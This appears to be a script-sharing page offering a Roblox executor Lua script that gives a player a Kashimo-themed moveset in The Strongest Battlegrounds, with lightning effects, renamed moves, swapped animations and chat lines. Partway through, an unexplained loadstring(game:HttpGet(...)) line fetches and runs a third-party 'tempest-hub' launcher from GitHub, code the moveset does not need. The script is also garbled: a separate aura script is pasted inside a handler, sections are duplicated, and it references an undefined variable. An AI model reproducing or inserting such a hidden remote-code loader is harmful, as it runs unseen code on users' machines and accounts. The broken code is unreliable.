Kashimo Moveset
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Kashimo Moveset

The Strongest Battlegroundscodycarrasco9codycarrasco9 14.4K views 188 executesUpdated Mar 21, 2025
Unrated
00
Lua Script•601 lines (23145 chars)
local player = game.Players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()

local function createStaff()
    local rightHand = character:FindFirstChild("RightHand") or character:FindFirstChild("Right Arm")
    if not rightHand then
        warn("[DEBUG] RightHand/Right Arm not found!")
        return
    end

    print("[DEBUG] Creating a properly positioned staff with lightning aura...")

    local staffParts = {}
    local segmentCount = 17
    local segmentWidth = 0.35 -- Keeping original scale
    local segmentHeight = 0.4

    for i = 1, segmentCount do
        local segment = Instance.new("Part")
        segment.Size = Vector3.new(segmentWidth, segmentHeight, segmentHeight) 
        segment.Material = Enum.Material.Metal
        segment.Color = Color3.fromRGB(255, 255, 255) 
        segment.CanCollide = false
        segment.CanTouch = false
        segment.CanQuery = false
        segment.Anchored = false
        segment.Massless = true
        segment.Parent = character

        -- Add Purple Lightning Aura
        local particle = Instance.new("ParticleEmitter")
        particle.Texture = "rbxassetid://35253286"
        particle.Color = ColorSequence.new(Color3.fromRGB(170, 0, 255))
        particle.LightEmission = 1
        particle.Lifetime = NumberRange.new(0.2, 0.5)
        particle.Rate = 30
        particle.Speed = NumberRange.new(2, 4)
        particle.Rotation = NumberRange.new(0, 360)
        particle.Size = NumberSequence.new({
            NumberSequenceKeypoint.new(0, 0.15),
            NumberSequenceKeypoint.new(0.3, 0.3),
            NumberSequenceKeypoint.new(1, 0.15)
        })
        particle.Parent = segment

        table.insert(staffParts, segment)
    end

    -- Attach the middle of the staff to the hand
    local middleIndex = math.ceil(segmentCount / 2)
    local middleSegment = staffParts[middleIndex]

    local motor = Instance.new("Motor6D")
    motor.Part0 = rightHand
    motor.Part1 = middleSegment
    motor.C0 = CFrame.new(0, 0, -0.2) * CFrame.Angles(0, 0, math.rad(90))
    motor.Parent = rightHand

    print("[DEBUG] Holding staff correctly.")

    -- Weld remaining segments
    for i = 2, #staffParts do
        local weld = Instance.new("Motor6D")
        weld.Part0 = staffParts[i - 1]
        weld.Part1 = staffParts[i]
        weld.C0 = CFrame.new(segmentWidth, 0, 0) 
        weld.Parent = staffParts[i - 1]

        staffParts[i].CFrame = staffParts[i - 1].CFrame * CFrame.new(segmentWidth, 0, 0)
    end

    print("[DEBUG] Staff with aura created successfully!")
end

task.wait(1) -- Ensure character loads
createStaff()
local lplr = game.Players.LocalPlayer
local char = lplr.Character or lplr.CharacterAdded:Wait()

-- Object Removers (will remove vfx on the weapons, though)
local katana1 = false -- Make true if you want to remove Blade Master's katana
local katana2 = false -- Make true if you want to remove Sonic's katana
local bat = false -- Make true if you want to remove Metal Bat's baseball bat
if katana1 then char:FindFirstChild("Sheathe"):Destroy() char:FindFirstChild("#KATANAWEAPON"):Destroy() end
if katana2 then char:FindFirstChild("Sheathed"):Destroy() char:FindFirstChild("#NinjaKATANA"):Destroy() end
if bat then char:FindFirstChild("#BATWEAPON"):Destroy() end

-- Editing names
local plrgui:PlayerGui = lplr:FindFirstChild("PlayerGui")
local gui:ScreenGui = plrgui:FindFirstChild("ScreenGui")
local ultbar:Frame = gui:FindFirstChild("MagicHealth")
local ultbarclr:Frame = ultbar:FindFirstChild("Health").Bar.Bar
local ulttext:TextButton = ultbar:FindFirstChild("TextLabel")

-- Awakening text & color
ulttext.Text = "FULL BLOWN FUNERAL"
ultbarclr.BackgroundColor3 = Color3.fromRGB(175, 0, 255) -- In RGB values (red, green, blue)

local hotbar:ScreenGui = plrgui:FindFirstChild("Hotbar")
local backpack = hotbar:FindFirstChild("Backpack")
local hotbarf:Frame = backpack:FindFirstChild("Hotbar")
local bbb1, bbb2, bbb3, bbb4 = hotbarf["1"], hotbarf["2"], hotbarf["3"], hotbarf["4"]
local bb1, bb2, bb3, bb4 = bbb1["Base"], bbb2["Base"], bbb3["Base"], bbb4["Base"]
local b1, b2, b3, b4 = bb1["ToolName"], bb2["ToolName"], bb3["ToolName"], bb4["ToolName"]

-- Move names
local function SetMoveNames()
    b1.Text = "Lightning Jab"
    b2.Text = "Voltaic Fury"
    b3.Text = "Funeral"
    b4.Text = "Rising Light"
end
SetMoveNames()

-- Awakening move names
local function SetAwkNames()
    b1.Text = "Pick up the pace."
    b2.Text = "1000% Rising Light"
    b3.Text = "Raw Strength"
    b4.Text = "Amped Clash"
end

-- Animations
-- Old Animations (Animations that are currently being replaced)
local oldAnimations = {
    m1 = "10469493270", -- Replace with the old m1 animation ID
    m2 = "10469630950", -- Replace with the old m2 animation ID
    m3 = "10469639222", -- Replace with the old m3 animation ID
    m4 = "10469643643", -- Replace with the old m4 animation ID
    ds = "10470104242", -- Actually, DON'T replace this
    up = "10503381238", -- Actually, DON'T replace this
    wc = "15955393872", -- Replace with the old wall combo animation ID
    fdash = "18715858574", -- Actually, DON'T replace this
    bdash = "...", -- Actually, DON'T replace this
    ldash = "10480796021", -- Actually, DON'T replace this
    rdash = "10480793962", -- Actually, DON'T replace this
    awk = "12447707844", -- Replace with the old awakening animation ID
    move1 = "10468665991", -- Replace with the old move 1 animation ID
    move2 = "10466974800", -- Replace with the old move 2 animation ID
    move3 = "10471336737", -- Replace with the old move 3 animation ID
    move4 = "12510170988", -- Replace with the old move 4 animation ID
    amove1 = "18715881168", -- Replace with the old awakening move 1 animation ID
    amove2 = "11365563255", -- Replace with the old awakening move 2 animation ID
    amove3 = "18715898844", -- Replace with the old awakening move 3 animation ID
    amove4 = "18715891164", -- Replace with the old awakening move 4 animation ID
}

-- New Animations (Animations that will replace the old ones)
local newAnimations = {
    m1 = "15259161390", -- Replace with your new m1 animation ID
    m2 = "15240216931", -- Replace with your new m2 animation ID
    m3 = "17889471098", -- Replace with your new m3 animation ID
    m4 = "18716001119", -- Replace with your new m4 animation ID
    ds = "13556985475", -- Replace with your new downslam animation ID
    up = "18179181663", -- Replace with your new mini uppercut animation ID
    wc = "18716867254", -- Replace with your new wall combo animation ID
    fdash = "15676072469", -- Replace with your new front dash animation ID
    bdash = "13801083337", -- Replace with your new back dash animation ID
    ldash = "18715789130", -- Replace with your new left dash animation ID
    rdash = "18715789130", -- Replace with your new right dash animation ID
    awk = "18435303746", -- Replace with your new awakening animation ID
    move1 = "18896127525", -- Replace with your new move 1 animation ID
    move2 = "18896124320", -- Replace with your new move 2 animation ID
    move3 = "12832505612", -- Replace with your new move 3 animation ID
    move4 = "13501296372", -- Replace with your new move 4 animation ID
    amove1 = "18715770173", -- Replace with your new move awakening 1 animation ID
    amove2 = "15446959450", -- Replace with your new move awakening 2 animation ID
    amove3 = "17097146599", -- Replace with your new move awakening 3 animation ID
    amove4 = "18897115785", -- Replace with your new move awakening 4 animation ID
}

-- Code/functions to use in the handlers
local function chat(msg: string)
    game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(msg, "All")
end
local function playAnimation(id, details)
    local humanoid = char:FindFirstChildOfClass("Humanoid")
    if not humanoid or not humanoid:FindFirstChild("Animator") then
        warn("Invalid humanoid or humanoid has no Animator.")
        return
    end
    
    local animation = Instance.new("Animation")
    animation.AnimationId = "rbxassetid://" .. tostring(id)
    
    local animator:Animator = humanoid:FindFirstChild("Animator")
    local animationTrack = animator:LoadAnimation(animation)

    animationTrack:Play()
    
    if details then
        if details.Priority then
            animationTrack.Priority = details.Priority
        end
        if details.Looped ~= nil then
            animationTrack.Looped = details.Looped
        end
        if details.Speed then
            animationTrack:AdjustSpeed(details.Speed)
        end
        if details.TimePosition then
            animationTrack.TimePosition = details.TimePosition
        end
        if details.Weight then
            animationTrack:AdjustWeight(details.Weight)
        end
    end

    return animationTrack
end


-- Handlers for each m1s, the ultimate anim, and moves (if it doesnt have handlers, it would be a blank custom moveset script with no vfx, no other stuff other than custom animations)
-- Also handlers for the extraTools and extraMoves
local handlers = {
    m1 = function() end,
    m2 = function() end,
    m3 = function() end,
    m4 = function() end,
    wc = function() end,
    fdash = function() end,
    bdash = function() end,
    ldash = function() end,
    rdash = function() end,

    awk = function(tr)
        chat("TURN UP THE MUSIC!")
        task.wait(1)
        chat("CAUSE THIS...")
        task.wait(1)
        chat("IS A FUNERAL FOR THE LIVING!")
local Players = game:GetService("Players")
local localPlayer = Players.LocalPlayer

local function createLightningAura(character)
    if not character then return end
    local root = character:FindFirstChild("HumanoidRootPart")
    if not root then return end

    -- Prevent duplicate auras
    if root:FindFirstChild("LightningAura") then return end

    print("⚡ Creating STRONG Lightning Aura for", character.Name)

    -- 🌀 Create an Attachment at the character's center
    local auraAttachment = Instance.new("Attachment")
    auraAttachment.Name = "LightningAura"
    auraAttachment.Parent = root

    -- ⚡ INTENSE Purple Lightning Particles
    local lightning = Instance.new("ParticleEmitter")
    lightning.Texture = "rbxassetid://446111271" -- ⚠️ Replace with a valid lightning texture
    lightning.Color = ColorSequence.new(Color3.fromRGB(170, 0, 255)) -- Purple
    lightning.LightEmission = 1
    lightning.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3), NumberSequenceKeypoint.new(1, 6)}) -- Larger size
    lightning.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(1, 1)})
    lightning.Rate = 120 -- More particles per second
    lightning.Speed = NumberRange.new(8, 15) -- Faster movement
    lightning.Lifetime = NumberRange.new(0.4, 0.8) -- Longer lifetime
    lightning.Rotation = NumberRange.new(-180, 180)
    lightning.VelocitySpread = 720 -- Spreads in all directions
    lightning.Parent = auraAttachment

    -- ⚡ STRONG Electric Glow (Wider radius)
    local glow = Instance.new("ParticleEmitter")
    glow.Texture = "rbxassetid://241594314" -- ⚠️ Replace with a valid glow texture
    glow.Color = ColorSequence.new(Color3.fromRGB(150, 50, 255))
    glow.LightEmission = 1
    glow.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 5), NumberSequenceKeypoint.new(1, 10)}) -- Much larger glow
    glow.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0.2), NumberSequenceKeypoint.new(1, 1)})
    glow.Rate = 80 -- More frequent glowing
    glow.Speed = NumberRange.new(6, 12)
    glow.Lifetime = NumberRange.new(0.6, 1.4) -- Longer-lasting glow
    glow.Rotation = NumberRange.new(-180, 180)
    glow.VelocitySpread = 720
    glow.Parent = auraAttachment

    -- ⚡ POWERFUL Arc Lightning (More beams, larger spread)
    for _ = 1, 8 do -- Increased to 8 beams
        local beamAttachment1 = Instance.new("Attachment")
        beamAttachment1.Parent = root
        beamAttachment1.Position = Vector3.new(math.random(-4, 4), math.random(-4, 4), math.random(-4, 4))

        local beamAttachment2 = Instance.new("Attachment")
        beamAttachment2.Parent = root
        beamAttachment2.Position = Vector3.new(math.random(-4, 4), math.random(-4, 4), math.random(-4, 4))

        local lightningArc = Instance.new("Beam")
        lightningArc.Color = ColorSequence.new(Color3.fromRGB(170, 0, 255))
        lightningArc.Width0 = 0.3 -- Thicker arcs
        lightningArc.Width1 = 0.3
        lightningArc.LightEmission = 1
        lightningArc.Texture = "rbxassetid://446111271" -- ⚡ Replace with a valid lightning texture
        lightningArc.TextureSpeed = 8 -- Faster-moving texture
        lightningArc.TextureLength = 2 -- More stretched lightning
        lightningArc.Parent = root
        lightningArc.Attachment0 = beamAttachment1
        lightningArc.Attachment1 = beamAttachment2

        -- Randomize positions faster to simulate chaotic lightning
        task.spawn(function()
            while task.wait(math.random(0.05, 0.2)) do
                if not root.Parent then break end
                beamAttachment1.Position = Vector3.new(math.random(-5, 5), math.random(-5, 5), math.random(-5, 5))
                beamAttachment2.Position = Vector3.new(math.random(-5, 5), math.random(-5, 5), math.random(-5, 5))
            end
        end)
    end

    print("⚡ STRONG Lightning Aura applied to:", character.Name)
end

-- 🎮 Apply only for your character
local function onCharacterAdded(character)
    if character and character:IsDescendantOf(workspace) then
        createLightningAura(character)
    end
end

if localPlayer.Character then
    onCharacterAdded(localPlayer.Character)
end

localPlayer.CharacterAdded:Connect(onCharacterAdded)
    end,

 move1 = function(tr)
    local hrp = char:FindFirstChild("HumanoidRootPart")
    if not hrp then return end

    -- ⚡ **Black Flash Energy Burst** (Red & Black Sparkles)
    local flashEffect = Instance.new("ParticleEmitter")
    flashEffect.Texture = "rbxassetid://446111271" -- Replace with better spark texture if needed
    flashEffect.Color = ColorSequence.new(Color3.fromRGB(255, 0, 0), Color3.fromRGB(0, 0, 0)) -- Red & Black
    flashEffect.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 4)})
    flashEffect.Lifetime = NumberRange.new(0.15, 0.3)
    flashEffect.Rate = 500
    flashEffect.Speed = NumberRange.new(10, 30)
    flashEffect.VelocitySpread = 360 -- Spread particles in all directions
    flashEffect.Parent = hrp

    -- ⚡ **Chaotic Lightning Streaks**
    for _ = 1, 5 do
        local lightning = Instance.new("Beam")
        local attachment1 = Instance.new("Attachment", hrp)
        local attachment2 = Instance.new("Attachment", hrp)
        attachment1.Position = Vector3.new(math.random(-2, 2), math.random(-2, 2), math.random(-2, 2))
        attachment2.Position = Vector3.new(math.random(-2, 2), math.random(-2, 2), math.random(-2, 2))

        lightning.Attachment0 = attachment1
        lightning.Attachment1 = attachment2
        lightning.Color = ColorSequence.new(Color3.fromRGB(255, 0, 0))
        lightning.Width0 = 0.15
        lightning.Width1 = 0.05
        lightning.LightEmission = 1
        lightning.Texture = "rbxassetid://9126549834" -- Replace with better electric texture if needed
        lightning.TextureSpeed = 10
        lightning.TextureLength = 1
        lightning.Parent = hrp

        -- Randomize for chaotic movement
        task.spawn(function()
            while task.wait(0.05) do
                if not hrp.Parent then break end
                attachment1.Position = Vector3.new(math.random(-3, 3), math.random(-3, 3), math.random(-3, 3))
                attachment2.Position = Vector3.new(math.random(-3, 3), math.random(-3, 3), math.random(-3, 3))
            end
        end)
    end

    -- 💥 **Shockwave Impact**
    local shockwave = Instance.new("ParticleEmitter")
    shockwave.Texture = "rbxassetid://11836446852"
    shockwave.Color = ColorSequence.new(Color3.fromRGB(255, 0, 0))
    shockwave.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 4), NumberSequenceKeypoint.new(1, 8)})
    shockwave.Lifetime = NumberRange.new(0.2, 0.3)
    shockwave.Rate = 200
    shockwave.Speed = NumberRange.new(15, 25)
    shockwave.Parent = hrp

    -- 🔊 **Black Flash Sound Effect**
    local sound = Instance.new("Sound")
    sound.SoundId = "rbxassetid://12828297755" -- Replace with better impact sound
    sound.Volume = 3
    sound.PlaybackSpeed = 1.1
    sound.Parent = hrp
    sound:Play()

    -- 🌊 **Screen Shake Effect**
    local cam = game.Workspace.CurrentCamera
    local function shakeCamera()
        for i = 1, 10 do
            cam.CFrame = cam.CFrame * CFrame.new(math.random(-2, 2) * 0.15, math.random(-2, 2) * 0.15, 0)
            task.wait(0.02)
        end
    end
    shakeCamera()

    -- 🔥 Cleanup After Effect
    task.wait(0.4)
    flashEffect:Destroy()
    shockwave:Destroy()
end,

    move2 = function(tr:AnimationTrack)
        local bloodvfx = game.ReplicatedStorage.Resources.BloodSplatter.Attachment:Clone()
        bloodvfx.Parent = char:FindFirstChild("Torso")
        for _, v in pairs(game.ReplicatedStorage.Resources.BloodSplatter.Attachment:GetChildren()) do
            if v:IsA("ParticleEmitter") then
                v.Enabled = true
            end
        end

        local c = tr.Ended:Once(function()
            bloodvfx:Destroy()
        end)

        task.wait(2.5)
        bloodvfx:Destroy()
        c:Disconnect()
    end,

    move3 = function(newtr)
        local hrp = char:FindFirstChild("HumanoidRootPart")
        task.wait(0.5)
        local bv = Instance.new("BodyVelocity")
        bv.MaxForce = Vector3.new(math.huge, 0, math.huge)
        bv.Velocity = hrp.CFrame.LookVector * 50
        bv.Parent = hrp
        
        task.spawn(function()
            while true do
                bv.Velocity = hrp.CFrame.LookVector * 100
                task.wait()
            end
        end)
        game:GetService("Debris"):AddItem(bv, 0.5)
        
        newtr:Stop()
        playAnimation("137561511768861", { Weight = 10, Speed = 1.7 })
    end,

    move4 = function(tr)
        print("kashimo awk")
    end,

    amove1 = function(tr)
        print("kashimo awk")
    task.wait(10)
    if char and char:FindFirstChild("HumanoidRootPart") then
    local aura = char.HumanoidRootPart:FindFirstChild("LightningAura")
    if aura then aura:Destroy() end
    object.locked = false
end
    
    end,
    
    amove2 = function(tr)
        print("kashimo awk")
    chat("You forgot one major thing...")
    task.wait(4)
    chat("MAXIMUM OUTPUT! RISING LIGHT!")
  playAnimation("18716897393", { Weight = 10, Speed = 1 })
if char and char:FindFirstChild("HumanoidRootPart") then
    local aura = char.HumanoidRootPart:FindFirstChild("LightningAura")
    if aura then aura:Destroy() end
    object.locked = false
end
    end,

    amove3 = function(tr)
        print("kashimo awk")
    chat("Hmph. They say show your strength...")
    task.wait(3)
    chat("DODGE THIS!")
      playAnimation("106755459092436", { Weight = 10, Speed = 1 })
    task.wait(10)
    if char and char:FindFirstChild("HumanoidRootPart") then
    local aura = char.HumanoidRootPart:FindFirstChild("LightningAura")
    if aura then aura:Destroy() end
    object.locked = false
end
    end,

    amove4 = function()
        print("kashimo awk")
    task.delay(0.3)
    chat("LIGHTNING SLAM!")
    task.wait(10)
    if char and char:FindFirstChild("HumanoidRootPart") then
    local aura = char.HumanoidRootPart:FindFirstChild("LightningAura")
    if aura then aura:Destroy() end
end
    end,
}

-- Table of animation data for the animations
local animDt = {
    move2 = { Speed = 1.0},
}

local hum = char:FindFirstChildOfClass("Humanoid")
local animator = hum:FindFirstChildOfClass("Animator")
for k, v in pairs(oldAnimations) do
    animator.AnimationPlayed:Connect(function(tr)
        if tr.Animation.AnimationId == "rbxassetid://" .. v and tr.Animation.AnimationId ~= "rbxassetid://" .. newAnimations[k] then
            tr:Stop()
            local trdt = animDt[k] or { Weight = 10 }
            if not trdt["Weight"] then trdt.Weight = 10 end -- Avoid bad animation
            local newtr = playAnimation(newAnimations[k], trdt)
            task.spawn(function() handlers[k](newtr) end)

            if k == "awk" then
                task.wait(1.20) -- Modify for your character's ultimate animation length
                SetAwkNames()
            end
        end
    end)
end

lplr:GetAttributeChangedSignal("Ultimate"):Connect(function()
    if lplr:GetAttribute("Ultimate") == 0 then
        task.wait(0.5) SetMoveNames()
    end
end)

loadstring(game:HttpGet("https://raw.githubusercontent.com/10tempest01/tempest-hub/refs/heads/main/Launcher.lua"))()

local lplr = game.Players.LocalPlayer
local char = lplr.Character or lplr.CharacterAdded:Wait()

-- Code/functions to use in the handlers
local function chat(msg: string)
    game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(msg, "All")
end

local function playAnimation(id, details)
    local humanoid = char:FindFirstChildOfClass("Humanoid")
    if not humanoid or not humanoid:FindFirstChild("Animator") then
        warn("Invalid humanoid or humanoid has no Animator.")
        return
    end

    local animation = Instance.new("Animation")
    animation.AnimationId = "rbxassetid://" .. tostring(id)

    local animator:Animator = humanoid:FindFirstChild("Animator")
    local animationTrack = animator:LoadAnimation(animation)

    -- Special handling for amove2 (loop at 1s)
    if id == "13146710762" then
        animationTrack.Looped = false  -- Prevent default looping
        animationTrack.Stopped:Connect(function()
            animationTrack.TimePosition = 1 -- Restart at 1 second
            animationTrack:Play()
        end)
    end

    animationTrack:Play()

    if details then
        if details.Priority then
            animationTrack.Priority = details.Priority
        end
        if details.Looped ~= nil then
            animationTrack.Looped = details.Looped
        end
        if details.Speed then
            animationTrack:AdjustSpeed(details.Speed)
        end
        if details.TimePosition then
            animationTrack.TimePosition = details.TimePosition
        end
        if details.Weight then
            animationTrack:AdjustWeight(details.Weight)
        end
    end

    return animationTrack
end

-- Updated amove2 handler to use the new logic
local handlers = {
    amove2 = function()
        local animTrack = playAnimation("13146710762", { Weight = 10, Speed = 0.3 })

        -- Ensure it loops from 1s
        animTrack.Stopped:Connect(function()
            animTrack.TimePosition = 1
            animTrack:Play()
        end)
    end
}

-- Rest of your script remains unchanged...

lplr:GetAttributeChangedSignal("Ultimate"):Connect(function()
    if lplr:GetAttribute("Ultimate") == 0 then
        task.wait(0.5) SetMoveNames()
    end
end)

Features & Information

No stun, Combo Extender, Aura
#Kashimo#Tsb#Jjk#The strongest Battlegrounds

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